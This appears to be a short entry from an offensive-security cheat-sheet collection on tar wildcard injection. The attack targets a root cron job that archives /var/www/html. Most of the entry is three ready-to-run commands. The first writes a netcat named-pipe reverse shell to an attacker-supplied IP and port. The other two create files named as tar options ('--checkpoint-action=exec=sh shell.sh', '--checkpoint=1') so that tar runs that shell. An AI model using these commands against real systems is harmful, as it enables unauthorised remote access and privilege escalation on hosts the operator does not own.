killchain-compendium/exploit/wildard_exploitation.md

Wildcard usage

• Leon Juranic has shown it

Another Example

• cronjob gets backup data from /var/www/html via tar cf backup.tar *. The reverse shell and the parameters need to be files in this directory to get called by tar and be executed.

echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > /var/www/html/shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"